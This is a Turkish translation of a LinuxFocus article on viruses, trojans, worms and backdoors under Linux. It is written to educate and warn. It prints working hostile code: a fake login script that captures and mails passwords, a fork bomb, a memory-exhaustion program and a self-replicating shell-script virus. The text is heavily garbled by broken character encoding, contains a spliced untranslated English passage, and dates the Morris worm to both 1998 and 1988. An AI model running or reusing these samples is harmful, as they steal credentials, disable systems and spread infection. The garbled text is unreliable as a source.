|
|
Bu makalenin farkl� dillerde bulundu�u adresler: English Castellano ChineseGB Deutsch Francais Italiano Nederlands Russian Turkce |
taraf�ndan Christophe Blaess (homepage) Yazar hakk�nda: Christophe Blaeses ba��ms�z bir havac�l�k m�hendisidir. Bir Linux merakl�s�d�r ve bir �ok i�ini bu i�letim sistemini kullanarak yapmaktad�r. Linux yard�m sayfalar�n�n �evirisini i�eren ve Linux Dok�mantasyon Projesi ad�yla yay�nlanan �evirilere e�g�d�m sa�lar. T�rk�e'ye �eviri: H�seyin Kaya <hkaya(at)be.itu.edu.tr> G�l�en Ta�k�n <gulsen(at)be.itu.edu.tr> Sevda �sk�pl� <sevda(at)be.itu.edu.tr> D. Melih Narin <melih(at)be.itu.edu.tr> ��erik: |
�zet:
Bu makale ilk �nce g�venlik �zerine yaz�lar�n yer ald���
bir linux dergisinin Fransa �zel say�s�nda yay�nland�. Edit�r,
yazarlar ve �evirmenler dost�a L�nuxFocus dergisine bu �zel say�da
yeralan b�t�n makaleleri yay�nlama hakk� verdiler. Dolay�s�yla,
LinuxFocus dergisi bu makaleleri T�rk�e'ye �evirir �evirmez
sizlere sunacak. Bu �al��ma i�ersinde yeralan herkese te�ekk�rler.
Bu �zet ayn� k�kene sahip t�m makaleler i�in yeniden olu�turulacak.
Bu makale Linux sisteminde sald�rgan yaz�l�mlardan kaynaklanabilecek i� g�venlik problemlerini yeniden g�zden ge�irir. Bu �e�it yaz�l�mlar (vir�sler, solucanlar ve Truva atlar� gibi) insan m�dahalesi olmaks�z�n zarara neden olabilirler. B�z bu konuda, �e�itli zay�fl�klardan bahsederek ve bu bedelsiz yaz�l�mlar�n olumlu ve olumsuz yanlar� �zerinde durarak konuyu derinlemesine inceleyece�iz.
Kullan�c� i�in genellikle kafa kar��t�r�c� olan, �zellikle s�k s�k kar��la��lan �e�itli mekanizmalara dayanan d�rt tip belirli tehdit s�z konusudur. Bunlar:
Bu sald�rgan yaz�l�mlar� s�n�fland�rmak her zaman bu kadar kolay olmayabilir. �rne�in, baz� g�zlemciler taraf�ndan vir�s olduklar� d���n�len fakat baz� g�zlemciler taraf�ndan da solucan olduklar� d���n�len ve ne olduklar� konusundaki son karar� karma��k hale getiren programlar vard�r. Hangi tehlikelerin Linux sistemine bir tehdit olu�turdu�unu a��klamay� bu makalenin kapsam� olarak d���nmek temel de�ildir.
Bu d�rt sorun zaten Linux sisteminin alt�nda bulunmaktad�r genel inan��a kar�� olarak, elbette, vir�sler Linux i�letim sisteminde DOS i�letim sistemine g�re �ok daha az yay�lma alan� bulabilmektedirler fakat mevcut tehlike ihmal edilmemelidir. Risklerin neler oldu�una bir g�z atal�m.
Potansiyel TehditlerVir�s, konuk program�n �z�ne y�klenmi�, yeni bir �al��t�r�labilir dosyaya n�fuz ederek kendi kendini �o�altma yetene�ine sahip bir kod par�as�d�r. Vir�sler yetmi�li y�llarda, o d�nemin programc�lar� "core war" ad� verilen oyunu oynarken ortaya ��km��t�r. Bu oyun, Bell AT&T laboratuvarlar�ndan gelmektedir [MARSDEN 00]. Oyunun amac�, s�n�rl� bir bellek alan� i�ersinde k���k programlar�n paralel bir �ekilde ko�turularak birbirlerini ortadan kald�rmalar�n� sa�lamakt�. ��letim sistemi, yar��mac�lar� �ld�rme amac�yla kar��l�kl� sald�r�lara izin vererek programlar�n bellek alanlar� aras�nda koruma sa�lamad�. B�ylece, yar��mac�lar�n baz�lar� olas� en geni� bellek alan�n� '0' ile bombalayarak, baz�lar� da s�rekli bir �ekilde adres bo�luklar�na hareket ederek rakibin kodunu yeniden yazmay� �mit ediyorlard� ve bazen birka�� i�birli�i ile g��l� olan d��man� elemeye �al���yorlard�.
Oyun i�in uygulanan algoritmalar, �zellikle varolan makinalar�n bir�o�unda varolan em�lat�r boyunca �al��t�r�lan, "red code" (k�rm�z� kod) konusu ile ilgili yarat�lan algoritmalar, makina diline �evrildi. Oyuna olan ilgi Life of Conway oyununa, fraktallara genetik algoritmalara duyulan co�ku gibi daha fazla bilimsel bir merakt�.
Ancak, core war ile ilgili sonraki makaleler Scientific American [DEWDNEY 84] dergisinde yay�nland�, ka��n�lmaz olan olmal�yd� ve baz� insanlar ilk �nce Apple bilgisayarlar ve daha sonra da MacIntosh ve PC'lerde �zellikle disket boot kesimine ya da �al��t�r�labilir dosyalara adanm�� kod par�alar� yazmaya ba�lad�lar.
MS DOS i�letim sistemi bi�imleri (formatlar�) iyi bilinen statik �al��t�r�labilir dosyalar, bellek koruma eksikli�i, dosya ula��m izinlerinde g�venlik yoklu�u, y���lm�� yerle�ik TSR programlar�n�n kullan�m� ile vir�slerin �o�almas� i�in bir tercih ortam�yd�. Buna kullan�c�lar�n akl�n�n s�n�r�n�, disketler �zerindeki �al��t�r�labilir programlar�n dosyalar�n k�kenine dikkat edilmeksizin alabildi�ine de�i�tirilmesini de eklemeliyiz.
En basit haliyle, vir�s bir uygulamay� ba�lat�rken fazla olarak �al��t�r�lacak kod par�as�d�r. Bu zaman i�inde vir�s hen�z i�ine girilmemi� di�er �al��t�r�labilir dosyalar� arayacak, kendini bu dosyalar�n i�ine g�mecek (b�y�k olas�l�kla esas program� �nlem olarak de�i�tirmeyecek) ve programdan ��kacakt�r. Yeniden �al��t�r�labilir dosyalar uygulamaya konuldu�unda bu i�lem s�reci yeniden ba�layacakt�r.
Vir�sler kendilerini otomatik olarak yinelemekte "weapon"'lar�n geni� gruplar�ndan yarar sa�layabilirler. [LUDWIG 91] ve [LUDWIG 93]'in i�inde DOS i�letim sistemi i�in vir�slerin tan�m�, ge�erli anti-vir�s yaz�l�mlar�n�n �tesinde kalarak saklanman�n kodda olu�acak s�rekli de�i�iklikler, s�kisiz �ifreleme gibi �st d�zey anlamlar�n� kullanarak detayl� bir �ekilde vermektedir. Hatta genetik algoritma y�ntemlerini kullanarak vir�slerle kar��la�mak, onlar�n ya�amlar�n� s�rd�rmelerini eniyilemek ve yeteneklerini yeniden olu�turmak olas�d�r. Benzer bilgiler �ok �nl� bir makale olan [SPAFFORD 94] makalesinden bulunabilir.
Fakat �unu akl�m�zda bulundurmal�y�z ki; suni hayat deneyimlerinin �tesinde, vir�sler yayg�n bir zarara neden olabilirler. K���k bir kodun �oklu yinelenmesinin prensibi sadece disk ve bellekteki bo�lu�un ziyan�d�r. Vir�sler, daha fazla zararl� olan mant�ksal bombalar (truva atlar� konusunda incelenecek) gibi di�er varl�klar i�in bir destek -ta��ma arac�- olarak kullan�l�rlar.
Ku�at�lm�� Truva i�in dini bir teklif olarak sunulmu� ve Yunan askerleriyle dolu kocaman bir tahtadan at� �ehrin i�ine almak k�t� bir fikirdi. Truva at� i�ine gizlice girmi� askerler gece oldu�unda �ehre i�erden sald�rm��lar ve b�ylece Yunanistan Truva Sava��n� kazanm��lard�r.
�nl� "Truva at�" terimi bilgisayar g�venlik alan�nda �ncelikli zarars�z uygulamalar� belirtmek i�in kullan�l�r. Vir�slerde s�z� edildi�i gibi y�k�c� kodlar mant�ksal bombalar i�erenlerdir.
Mant�ksal bomba �e�itli etkilere sahip, kas�tl� olarak zarar veren program par�alar�d�r.
Mant�ksal bomba i�inde bulundu�u sistemi fiziksel olarak da y�kmaya �al��abilir. Bunun olas�l��� olduk�a azd�r fakat bu t�rleri de bulunmaktad�r. (CMOS bellek silinmesi, modemde anl�k belle�in de�i�tirilmesi, yaz�c�lar�n, taray�c�lar�n ve hard diskin okuyucu kafalar�ndaki ayarlar�na yap�lan y�k�c� hareketler...)
Patlay�c�l�k �zelli�i ile devam edelim, s�zgelimi bir mant�ksal bomba harekete ge�mek i�in tetiklenmeye ihtiya� duysun. Asl�na bak�lacak olursa, Truva atlar�n� veya vir�sleri kullanarak hemen y�k�c� birtak�m i�lere giri�mek verimli de�ildir. Mant�ksal bombay� yerle�tirdikten sonra bir s�e beklemek daha ak�lc� bir yakla��md�r. B�yle yapmakla, e�er bir virus s�zkonusu ise, ba�ka sistemlere yay�lma ihtimalini art�r�r; eger s�zkonusu bir truva at� ise, kullan�c�lar�n makinas�nda olu�an gariplikler i�in hemen yeni programdan s�phe duymas�n� engellersiniz.
Di�er zarar verici hareketler gibi, ba�lama mekanizmas�da bir �ok farkl�l�klar g�sterebilir: y�klemeden sonra on g�n bekleme, bir kullan�c� heab�n�n silinmesi, klavya ve farenin 30 dakika i�in etkisizle�tirilmesi, yaz�c� kuyruklar�n�n a��r� dolmas� gibi. Ve daha bir �ok ihtimal. En yayg�n Truva atlar� bug�nlerde cok basmakal�p olarak g�r�nse de ekran koruyucalard�r. Bu programlar �ok �ekici bir g�r�nt�n�n arkas�nda farkedilmeden bir �ok zararlar verebilirler, �zellikle mant�ksal bomba y�klemeden yanl�zca bir saat sonra harekete ge�ecekse. Bu s�re i�inde kullan�c� �ok b�y�k olas�l�kla bilgisayar�n�n ba��nda olmayacakt�r.
Me�hur bir di�er truva at� ise a�a��da g�r�len ve bir kullan�c� giri� ortam� haz�rlayan ve kullan�c� ad� ve �ifrelerini program� �al��t�ran ki�inin e-ileti adresine g�nderen k���k bir kabuk program�d�r. Bu kabuk kullan�lmayan bir konsolda �al���rsa o konsoldan giri� yapmaya �al��an kullan�c�n�n �ifresini ��renir.
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout
Program�n �al��t�ktan sonra kapanmas� i�in exec
komutu ile ba�lat�lmas� gerekiyor. Kurban "Login incorrect"
yaz�s�n� g�r�nce �ifresini yanl�� girdi�ini d���necek ve normal
yollarla bir daha sisteme girmeyi deneyecektir. Bu kabu�un daha
geli�mi� s�r�mleri X11 tipi ba�lant�lar� simule edebiliyor.
B�yle tuzaklara d��memek i�in, bir konsoldan giri� yapmadan
�nce yalanc� bir kullan�c� ad� ve �ifre ile bir deneme yapmak
ak�lc� bir yakla��m olacakt�r (bu belli bir noktadan sonra
refleks haline gelecektir).
"Solucanlar" vir�sler ile ayn� prensipten gelir. Kendilerini kopyalama y�ntemi ile �o�almay� hedeflerler. Kendi �zellikler olmamams�na kar��n, bunlar mant�ksal bombalar ta��yabilirler. Vir�sler ile Solucanlar aras�ndaki en �nemli fark, Solucanlar�n vir�sler gibi bir yay�lma arac� olarak programlar� kullanmamas�, bunun yerine a� i�inde kullan�lan elektronik ileti gibi servisleri yay�lma arac� olarak kullanmalar�d�r.
Solucanlar�n teknik seviyeleri biraz daha y�ksektir; a� servislerini sa�layan yaz�l�mlar�n a��klar�n� bularak kendilerini uzak makinaya kopyalarlar. En g�zel �rne�i 1998 y�l�ndaki "Internet Worm" ad� verilen solucand�r.
Internet Worm mant�ksal bomba i�ermeyen ger�ek bir solucan olmakla birlikte, etkileri beklenmedik �ekilde �ok y�k�c� olmu�tu. Bu konu hakk�nda a��klay�c� bilgiyi [KEHOE 92] kayna��nda, ayr�nt�lar� [SPAFFORD 88] veya [EICHIN 89] kaynaklar�nda bulabilirsiniz. Teknik olmayan fakat olduk�a �arp�c� bilgiler i�eren ise [STOLL 89] adl� kaynakta bulabilirsiniz.
K�saca anlatmak gerekirse bu program Cornell �niversitesinde ��renci olan Robert Morris Jr taraf�ndan yaz�lm��t�. Bu ki�i a� protokollerinin g�venlik sorunlar�yle ilgili yazd��� bir makale ile zaten tan�n�yordu [MORRIS 85]. NSA'n�n bir kolu olan NCSC kurumunda bilgisayar g�veli�i ile sorumlu ki�inin o�luydu. Program 1998 y�l�n�n Kas�m ay�n�n ikinci g�n� ��leden sonra hayat ge�mi�ti ve Internet'e ba�l� bir�ok sistemin durmas�na yol a�m��t�. Program birka� a�amada �al��m��t�:
netstat
benzeri programlar� kullan�yordu.
/etc/passwd
),
b�ylece �ok basit se�ilmi� �ifreleri tahmin ediyordu.
Bu ilk a��k �ifrelerin shadow adl� ayr�
bir dosyada tutulmas�yla daha sonra kapat�ld�.~/.rhost
ve /etc/hosts.equiv
dosyalar�n� kullanarak
ula�maya �al���yordu. Eger ula��rsa rsh
komutunu kullanarak kom�u bilgisayarda komutlar i�letiyordu.
B�ylelikle kendisini ba�ka bir makinaya kopyal�yor ve d�ng�
b�yle s�r�p� gidiyordu.
fingerd
'buffer overflow' a����.
(G�venlik ile ilgili seri makalelere ir g�z at�n:
Avoiding security
holes when developing an application - Part 1, Avoiding security holes when
developing an application - Part 2: memory, stack and
functions, shellcode,
Avoiding security holes when developing an application - Part 3:
buffer overflows.)sendmail
adl� yaz�l�m�n bir �zelli�i
kullan�l�yordu. Bu �zelli�in normalde kullan�lmamas�
gerekti�i halde sistem y�neticileri genellikle bunu
ihmal ediyordu.Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar g�nderme imkan� bulduktan sonra kendisini o makinaya kopyalama i�lemi olduk�a karma��kt�. K���k bir C program�n�n ilk �nce ta��nmas�, orada derlenmesi ve �al��t�r�lmas� gerekiyordu. Daha sonra bu program iki bilgisayar aras�nda ba�lant� kuruyor ve solucan�n ta��nmas�n� sa�l�yordu. Solucan�n �nceden derlenmi� �al��t�r�labilir dosyalar� bir �ok platfrom i�in vard� (Vax ve Sun) ve test edilmi�ti. Ayr�ca, solucan iz b�rakmadan kendisini �ok zekice sakl�yordu.
Ne yaz�k ki, bilgisayarlar�n tekrar ve tekrar ele ge�irilmesini engelleyem mekanizma beklendi�i gibi iyi i�lemedi ve mant�ksal bomba ta��mayan Internet 88 solucan� y�k�c� etkisi g�sterdi. Bunda i� y�k� a��r bilgisayarlar�n da bu solucandan etkilenmesinin b�y�k pay� oldu (�zellikle elektronik ileti ta��nmas�n� sa�layan ve haberle�meyi sa�layan bilgisayarlar gibi).
Bu solucan�n yazar� bir s�re i�in hapishaneye girdi.Solucanlara, �ok karma��k olduklar� i�in, genellikle s�k�a rast gelinmez. Solucanlar �nl� "ILoveYou" benzeri elektronik iletiler ile g�nderilen vir�sler ile kari�t�r�lmamal�d�r. Bu vir�sler genellikle Basic ile yaz�lm�� ileti a��l�nca �al��an basit makrolard�r. Bunlar sadece baz� i�letim sistemlerinde ve ileti okuyucu programlar�n �ok basit bit �ekilde ayarland��� sistemlerde �al���rlar. Bu programlar Truva atlar�na daha �ok benzerler ��nk� kullan�c�n bunlar�n ba�layabilmesi i�in bir i� yapmas� gerekir.
Arkakap�lar Truva atlar� ile kar��la�t�r�labilir ama ayn� de�illerdir. Bir arkakap� �st�n bir kullan�c�ya bir yaz�l�m� de�i�tirme imkan� verir. Oyunlarda s�k�a kullan�lan daha �ok kaynak ve �st seviyelere ge�meye yarayan ve cheat codes denilen hilelere benzerler. Fakat bu ba�lant� onay� (connection authentication) veya elektronik ileti benzeri uygulamalar i�in de ge�erlidir, ��nk� bu uygulamalar da �reticisinin belirledi�i gizli bir ge�i�e olanak verebilir.
Baz� kolayl�klar sa�lamas� a��s�ndan, yaz�l�mc�lar
�rettikleri yaz�l�mlar i�in k���k kap�lar b�rakabilirler.
Bazen bu birtak�m kullan�c�lar i�in �ntan�ml� �ifreler olabilir
(system
, admin
,
superuser
, gibi). Bunlar genellikle belgeler i�inde
yer almad�klar� i�in yaz�l�mc�lar taraf�ndan olduklar� gibi
b�rak�l�r.
"Wargame" adl� film i�inde ge�en ve sisteme giri� sa�layan de�i�ik giri� kodlar�n� hat�rlay�n. Daha yak�n ge�mi�ten �rnekler vermekte m�mk�n [THOMPSON 84]. Unix'in babalar�ndan Ken Thompson'�n y�llar �nce geli�tirdi�i gizli giri� sistemini a��kl�yor:
/bin/login
uygulamas�n�n i�ine birtak�m k���k
kodlar yerle�tirerek, �nceden belirledi�i bir �ifreyle sisteme
/etc/passwd
dosyas�n� hi� kullanmadan giri� yapan
ba�ka bir login
s�r�m� gelirtirir. B�ylece b�t�n
sistemleri bu s�r�mle ziyaret eder.login.c
kaynak kodu Unix sistemlerinde mevcuttu ve herkes taraf�ndan
tuzak i�eren kod okunabiliyordu. Thompson oynanmam�� bir
login.c
kodunu yine de tutuyordu.login.c
kodunu derleyip tuzak i�eren kodu
silebiliyordu. Bu y�zden Thompson standart olan C derleyicisi
ile oynayarak birisinin login.c
kodunu derle�ini
anlad��� anda tuzak olan kodun derlenmesini sa�lad�. cc.c
a��kt� ve herkes g�rebiliyor ve yeniden derleyebiliyordu.
Thompson yine derleyicinin oynanmam�� halini tuttu
ama �nceden derledi�i derleyici oynanm�� login.c
kodu yine ekler...Buna kar�� ne yap�labilir? Asl�nda hi�bir �ey! Yap�lacak tek �ey sistemi yeni ba�tan kurmak. Sistemi yeniden kurmad�ktan sonra, i�letim sistemine, derleyeciye k�sacas� hi�bir�eye g�venemezsiniz. Kaynak kodlar� tamamen elinizde olsa bile uygulamalar�n temiz oldu�una kesin emin olamazs�n�z.
Herhangi bir sistemin baz� ana risklerinden s�zettik. �imdi de serbest yaz�l�m ve Linux �zerinde ki olas� tehditlere bir g�z atal�m.
�lk �nce, mant�ksal bir tuza��n Linux makinas� �zerinde �al��t�r�ld���nda, sistem �zerinde ki etkilerini inceleyelim. Besbelli, bu durum kullan�c� haklar�na ve istenilen etkiye ba�l�d�r.
Gizli bir dosyan�n okunmas� yada sistem dosyas�n�n herhangi bir tahribata u�ramas� durumunda, iki t�rl� durum s�z konusudur. E�er bomba, root birimi alt�nda kendi kendine �al���rsa makina �zerinde ki b�t�n g�c� ele ge�irir. Buna her partisyonun silinmesi ve yukar�da s�z� edilen hardisk �zerindeki olas� tehlikeleri de ekleyebiliriz. E�er bomba herhangi bir birim �zerinde uygulaniyorsa, hakk� olmayan bir kullan�c�dan daha az yikici olur. Sadece bu kullan�c�ya ait verileri yok edecektir. Bu durumda, herkes kendine ait olan dosyalar�n� korumal�d�r. Dikkatli bir sistem y�neticisi root olarak girdi�inde, bu hesap alt�nda ki mantiksal tuzaklar�n sisteme girme olas�l���n� azaltmak i�in bir�ok sorumlulu�u vard�r.
Linux sistemi �zel veriye eri�im ve hardisk eri�iminde olduk�a iyi bir korumaya sahiptir. Ancak sald�lar� bir�ok kaynak kullanarak yap�lan sald�r�lar� �nleme konusunda olduk�a hassast�r. �rne�in, a�a��daki C program�n�, normal bir kullan�c� olarak bile sisteme girdi�inizde durdurmak zordur. E�er kullan�c� taraf�ndan kullan�lan i�lemci say�s� s�n�rlanmad�ysa, i�lemci tablosundan herturlu giri� yokedilecek ve program� oldurmeyi deneyen herhangi bir ba�lant� �nlenecektir.
#include <signal.h> #include <unistd.h> int main (void) { int i; for (i = 0; i < NSIG; i ++) signal (i, SIG_IGN); while (1) fork (); }
Kullan�c�lar�n i�lemci kullanma say�s� �zerinde bir k�s�t (
setrlimit()
ile sistem �a��rma ve
ulimit
kabuk fonksiyonu) uygularsaniz,
bu t�r programlar�n �mr�
daha k�sa olacakt�r. Fakat, bunlar sadece sistemin
ula��lmaz oldu�u s�renin baz� aral�klar�ndan sonra etkili olur.
Ayn� ba�lant�da, a�a��daki program ula�abildi�i b�t�n belle�i kullan�l�r ve d�ng�ler, merkezi i�lem birimleri �evrimlerini harcar. B�ylece di�er i�lemciler de tamamen harcanir.
#include <stdlib.h> #define LG 1024 int main (void) { char * buffer; while ((buffer = malloc (LG)) != NULL) memset (buffer, 0, LG); while (1) ; }
Genellikle, bu program en k���k �ekirdekdeki sanal bellek y�netim mekanizmas� taraf�ndan otomatik olarak yok edilir. Fakat bundan �nce, daha fazla belle�e ihtiya� duyan di�er i�lemler hemen ard�ndan �ekirdek taraf�ndan yok edilir (�rne�in, X11 uygulamalar� ). Ayr�ca, belle�e ihtiya� duyan di�er b�t�n i�lemciler de ayn� �ekilde olacakt�r.
A� �zelliklerini s�ralaman�n d���nda tutmak olduk�a basittir,
overloading the corresponding port with continued connection
requests. ��z�m olu�umdan ka�makt�r. Fakat bu olu�umlar genellikle
sistem y�neticileri taraf�ndan uygulanmaz. Linux alt�nda �ok dikkatli
olmak gerekir. Hatta mant�ksal bobma normal bir kullan�c�
taraf�ndan g�nderileliyorsa kendine ait olmayan dosyalara zarar
vermemese bile bu durum son derece rahats�zl�k verici b�r durumdur.
A� servisinde ve sisteme k�t� bir gerilim y�klemek i�in birka�
fork()
, malloc()
and connect()
komutlar�n� birle�tirerek bir program olu�turmak yeterli olacakt�r.
Konu: Unix Vir�sleri BiR UNIX ViR�S� ALDINIZ Bu vir�s birtak�m kurallara g�re i�ler. E�er Lunix yada Unix kullan�yorsan�z,l�tfen bu iletiyi arkada��n�za g�nderiniz ve se�kisiz olarak bir ka� sistem dosyas�na zarar veriniz. |
Yayg�n bir fikire ra�men, vir�sler Linux alt�nda bir tehdit unsuru olabilirler. Linux alt�ndaki bir virusun yay�lmak i�in yararl� bir yer bulamayaca�� da ayr� bir ger�ektir. ilk olarak, bir makinan�n phase of infesting ne bir g�z atal�m. Vir�s kodu burada �al��mak zorundad�r. Bunun anlam� ba�ka bir sistemden bozulmu� dosyalar�n kopyalanm�� oldu�udur. Linux d�nyas�nda yayg�n uygulama, kullan�c�ya bir uygulama sa�lamak ve ona �al��t�r�labilir dosyay� g�ndermek yerine URL adresinin nerede oldu�unu g�stermektir. Bu �abuk bir �ekilde denetlenecek olan bir resmi bir y�reden gelen bir virus anlam�na gelir. Bir kere bir makinaya vir�s bula�t�ysa, vir�s�n yay�labirli�ini denetlemek i�in �nceden derlebilen uygulamalar i�in da��t�k bir d�zenek kullan�lmal�d�r. Ger�ek �u ki, serbest yaz�l�m d�nyas�nda mant�ksal bir bomba i�in, �al��t�r�labilir dosyalar iyi bir ileti�im arac� de�ildir.
Besbelli, yazma haklar�na sahip olan kullan�c�n�n dosyay� nerede �al��t�rd���na ba�l� olarak sadece bozuk bir uygulama dosyalara yay�labilir. Deneyimli bir sistem y�neticisi herhangi bir i�lem i�in sadece root olarak Concerning the spreading within a machine, obviously a corrupt application only can spread to files for which the user running it, has writing rights. The wise administrator only working as root for operations really requiring privileges, is unlikely running a new software when connected under this identity. Apart from installing a Set-UID root application infected with a virus, the risk is then quite reduced. Normal bir kullan�c� bozulmu� bir dosyay� �al��t�rd���nda, vir�s sadece bu kullan�ya ait olan dosyalar �zerinde etkin olabilir.
Vir�sler Unix bir sistem i�in �ok uzun zamandir bir �troyaydi. Bunun nedeni i�lemcilerin farkl�l��� (esembler dilleri) ve �nceden derlenebilen kodlar� s�n�rlayan k�t�phanelerdir. Bug�n, bu ger�ek de�ildir ve GlibC 2.1 i386 bir i�lemci i�in Linux da derlenebilen ELF dosyalar�na etki eden bir vir�s bir �ok hedef bulabilir. Ayr�ca, vir�sler, onu �ali�t�ran bir ana�' a (host) ba�l� bir dilde yaz�labilirler. �rne�in, burada kabuk beti�i i�in bir vir�s olsun. Vir�s, �al��t��� dizin alt�nda bulunan b�t�n kabuk betiklerinin i�ine girmeyi denemektedir. Ayn� beti�in bir kereden fazla bir zarara u�ramas�ndan ka��nmak i�in, vir�s ikinci seferde bozulmu� yada a��lanm�� yorumunun bulundu�u s�ray� ihmal eder.
#! /bin/sh # infected ( tmp_fic=/tmp/$$ candidates=$(find . -type f -uid $UID -perm -0755) for fic in $candidates ; do exec < $fic # Let's try to read a first line, if ! read line ; then continue fi # and let's check it is a shell script. if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then continue fi # Let's read a second line. if ! read line ; then continue fi # Is the file already infected or vaccinated ? if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then continue fi # Otherwise we infect it: copy the virus body, head -33 $0 > $tmp_fic # and the original file. cat $fic >> $tmp_fic # Overwrite the original file. cat $tmp_fic > $fic done rm -f $tmp_fic ) 2>/dev/null &
Vir�s kendini yada eylem�n� saklama durumunda de�ildir.
Beklenen �u ki, orjinal betik kendi i�ini yaparken vir�s
arkaplanda i�lemlerini yapar. �zellikle, find.
ile find /
de�i�tirme durumunda. Bu program�n
basitli�ine ra�men, onu kontrol�n� elden kaybetmek son derece
kolayd�r. �zellikle de sistem e�er iste�e g�re bir�ok kabuk betikleri
i�eriyorsa.
Tablo 1, Linux alt�nda en iyi bilinen, vir�sleri i�ermektedir. Bunlar�n hepsi, dosya ba�l�klar� ve kalan orjinal kodtan geriye do�ru hareket etmesinden sonra, �al��t�r�labilir ELF dosyalar�n� bozar. Aksinden s�z edilmedi�i s�rece, vir�sler sistem dizinlerindeki potansiyel hedefleri tararlar. Bu tablodan, Lunix alt�ndaki vir�slerin , �ok alarm vermemelerine ra�men,(zarar verici vir�sler olana kadar) kayda de�er olmayan vir�sler oldu�unu d���nebilirsiniz..
isim | Mant�ksal Bomba | Notlar | |
Bliss | G�r�n�rde aktif de�il | Dosyan�n otomatik ar�t�lams�
--bliss-disinfect-files-please ile sa�lanabilir.
|
|
Diesel | Etkisiz | ||
Kagob | Etkisiz | Zarar verici program� �al��t�rmak i�in ge�ici bir dosya kullan�r. | |
Satyr | Etkisiz | ||
Vit4096 | Etkisiz | Sadece ge�erli dizinde ki dosyalar� bozar. | |
Winter | Etkisiz | 341 bitlik bir virus kodudur. Sadece ge�erli olan dizinde ki dosyalar� bozar. | |
Winux | Etkisiz | Bu vir�s iki farkl� kod ta��r ve ELF Linux dosyalar� kadar ve Windows dosyalar�na da zarar verir. Ancak, onun yay�lmas�n� azaltan ve sakland��� yerden di�er partisyonlara ula�mak olas� de�ildir. | |
ZipWorm | Windows ve Linux �zerinde buldu�u s�k��t�r�lm�� dosyalar�n i�ine "troll" dokuman� yerle�tirir."troll"= isve� mitodolojisinde bir cin |
Zarars�z bir vir�s olan "Winux" , Windows yada Linux alt�nda �al��mak i�in yay�labilir. Bu �zelli�i tehlikeli olmamas�na ra�men yapabileceklerinin kan�t� olarak kar��m�za ��kar . Bu tip yap�lar bir b�l�mden (partition) ba�ka bir b�l�me s��rayabilir , ayr���k bir a�� Samba ve benzeri sunucular kullanarak istila edebilir.
E�er b�l�me , vir�s olan Windows sisteminden eri�ilirse, Linux koruma mekanizmas� etkisiz hale gelir . Ayn� �ekilde Linux alt�nda al�nan her �nlem ; Windows b�l�m�nden yap�lan geri y�klemelerde (reboot) etkisiz kal�r . Bu tip problemler iki i�letim sistemi i�eren her makinada g�r�l�r ve genel koruma d�zeyi en g��s�z i�letim sistemine g�re kuruludur . Bu sorunun tek ��z�m� vard�r , o da ; herhangi bir Windows uygulamas� arac�l���yla Linux b�l�m�ne eri�meyi engellemektir . Bu yakla��m hen�z fazla yayg�nla�mam��t�r ve Linux makinalar i�in tehlike arz etmektedir .
Truva atlar�da en az vir�sler kadar tehlikelidir ve kullan�c�lar i�in endi�e vericidir . Vir�s taraf�ndan ta��nan Logical Bomb un aksine Truva at�ndaki geli�tiricisi taraf�ndan yerle�tirilmi�tir . �cretsiz yaz�l�m d�nyas�nda ; �r�n yazar�ndan son kullan�c�ya ge�erken bir yada iki arac�dan ge�er. E�er bir Truva at� farkedilirse su�luyu bulmak zor de�ildir.
Bir uygulaman�n kaynak koduna sahip olmak ve derlemek g�venli olmas�n� garanti etmez. �rne�in ; zaral� bir logicalbomb bir yap� dosyas�na (./configure, en az 2000 sat�r uzunlu�unda) kendini saklayabilir ve en son y�kleme a�amas�nda aktif hale gelir .
Windows alt�ndaki vir�s ve truva at�n�n bir �nemli zarar�da yard�m sayfalar�ndaki (readme dosyalar�) makrolarla beraber ortaya ��kar . �imdilik Linux kullan�c�lar�n�n bundan korkmas� yersizdir ��nk� bu tip makrolar Linux alt�nda yorumlanamazlar .
Truva atlar�n�n bir �zelli�ide zarars�z olmas�na ra�men kullan�c�y� olduk�a g�� durumda b�rakmas�d�r. �rne�in Usenet de s�k��t�r�lm�� dosyalar kendi kendine b�y�r ve diski doldurur , baz� postscript dosyalar� yorumlay�c�y� (interpreter) kitler ve CPU zaman�n� bo�a kullan�r . Bu tip �rnekler zarars�zd�r . Tek yapt�klar� kullan�c�y� �ileden ��kartmak ve zaman�ndan �almakt�r.
Kurt�uklar a� sunucusunun zay�fl�klar�ndan istifade eder . Teorik olarak Internete ba�l� workstation lardaki risk sunuc arac�l���yla s�rekli ba�l� olan sistemlere g�re daha azd�r. Ba�lant� se�eneklerinin g�nden g�ne artmas� ( Kablo, DSL,T1,T3,...vs.) ve a� servislerinin (HTTP,FTP,...vs.) kullan�lmas� h�zla herkes i�in tehlike olu�turmaktad�r .
�sim | Zay�fl�lar� | Notlar |
Lion (1i0n ) |
bind |
Sistem bilgisini �in deki bir elektronik posta adresine g�nderir. |
Ramen | lpr , nfs ,
wu-ftpd |
index.html dosyas�n� de�i�tirir. |
Adore (Red Worm) | bind , lpr , rpc ,
wu-ftpd |
Sisteme arka kap� y�kler ,elektronik postayla �in ve Amerik ya bilgi g�nderir. ��lemlerin saklamak i�in ps modifiyeli versiyonunu y�kler. |
Cheese | Lion gibi | Lion taraf�ndan a��lan arka kap�lar� bulur ve kald�r�r. |
Kurtlar�n yay�lma zaman� s�n�rl�d�r . Varl�klar�n� devam ettirebilmek i�in kendilerini bir sistemden di�erine kopyalamalar� gerekir . Hedef uygulamay� h�zla g�ncellemek yay�lmas�n� �nler .
Arka kap� problemi �nemlidir, �cretsiz yaz�l�mlarda bile , tabiki herkes kaynak kodunu okuyarak teorik olarak program�n ne yapt���n� anlayabilir . Fakat �ok az insan internetten ar�iv bilgilerini indirir . �rne�in a�a��daki k���k program bile b�y�k ve tam bir arka kap� sa�lar . K���k boyutuyla kendini b�y�k bir uygulamaya rahat�a saklayabilir . Program kitab�mdaki pseudo-terminal mekanizmas� �rne�inden al�nm��t�r . ([BLAESS 00]). A��klama ve hata kontrol sat�rlar� k�sa olmas� bak�m�ndan kald�r�lm��t�r. Program �al��t�r�d��� zaman belitilen portta (varsay�lan 4767) bir TCP/IP sunucusu a�ar ve her ba�lant� iste�inde herhangi bir kontrol olmaks�z�n kabu�a eri�ir!!
